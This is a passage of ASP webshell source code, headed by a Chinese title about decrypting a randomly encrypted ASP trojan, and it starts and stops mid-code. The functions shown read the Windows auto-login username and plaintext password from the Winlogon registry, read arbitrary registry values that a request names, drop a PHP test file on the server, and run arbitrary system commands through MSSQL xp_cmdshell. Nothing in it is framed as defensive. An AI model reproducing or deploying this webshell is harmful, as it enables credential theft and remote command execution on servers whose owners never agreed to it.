asp木马代码解密的随机加密webshell

SHShell=Server.CreateObject(ObT(1,0))
autoLoginPath="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"
autoLoginEnableKey="AutoAdminLogon"
autoLoginUserKey="DefaultUserName"
autoLoginpwdKey="DefaultPassword"
autoLoginEnable=WSHShell.RegRead(autoLoginPath & autoLoginEnableKey)
if autoLoginEnable=0 then
RW=RW & "<tr><td bgcolor=''#FFFFFF''><br> 系统自动登录功能未开启</td></tr></table>"
else
autoLoginUser=WSHShell.RegRead(autoLoginPath & autoLoginUserKey)
RW=RW & "<tr><td bgcolor=''#FFFFFF''><br> 自动登录的系统帐户：" & autoLoginUser & "<br>"
On Error Resume Next
autoLoginpwd=WSHShell.RegRead(autoLoginPath & autoLoginpwdKey)
If Err Then Err.Clear
RW=RW & " 自动登录的帐户密码：" & autoLoginpwd & "</td></tr></table>"
Response.Write RW:RW=""
end if
end if
if (Request("TRPath")<>"") and (Request("TRName")<>"") then
Set WSHShell=Server.CreateObject(ObT(1,0))
isReadstr=WSHShell.RegRead(Request("TRPath") & Request("TRName"))
RW=RW & "<tr><td bgcolor=''#FFFFFF''><br> 该值是：" & isReadstr & "</td></tr></table>"
Set WSHShell=Nothing
else
RW=RW & "</table>"
end if
Response.Write RW:RW=""
End Function

function php()
set fso=Server.CreateObject("Scripting.FileSystemObject")
fso.CreateTextFile(server.mappath("lp.php")).Write"<?PHP echo ''恭喜,服务器支持PHP''?><?php phpinfo()?>"
Response.write"<iframe src=lp.php width=800 height=300></iframe> "
Response.write "<br><br><p><br><p><br><br><p><br><center> 如果你能看到上面的lp.php正常显示,表示支持PHP<p><font color=#66CC00>否则就是不支持拉</font><p><a href=''?Action=lpdel''><font size=5 color=red>删除测试的PHP文件</font></a></center>"
End function

function lpdel()
set fso=Server.CreateObject("Scripting.FileSystemObject")
fso.DeleteFile(server.mappath("lp.php"))
End Function

FuncTion MMD()
SI="<br><table width=""100%""><tr class=tr><form name=form method=post action="""">CMD命令<input type=text name=MMD size=35 ><input type=text name=U value=mssql用户名><input type=text name=P value=mssql密码><input type=submit value=执行></form></tr></table>":REsPonsE.writE SI:SI="":If trim(REquEst.form("MMD"))<>"" thEn:PaSsword= trim(REquEst.form("P")):id=trim(REquEst.form("U")):set adoConn=SErvEr.CreateObject("ADODB.Connection"):adoConn.Open "Provider=SQLOLEDB.1;PaSsword="&PaSsword&";UsEr ID="&id:strQuery = "exec master.dbo.xp_cmdshell ''" & REquEst.form("MMD") & "''":set recREsult = adoConn.Execute(strQuery):If NOT recREsult.EOF thEn:Do While NOT recREsult.EOF:strREsult = strREsult & chr(13) & recREsult(0):recREsult.MoveNext:Loop:End if:set recREsult = Nothing:strREsult = REplAcE(strREsult," "," "):strREsult = REplAcE(strREsult,"<","<"):strREsult = REplAcE(strREsult,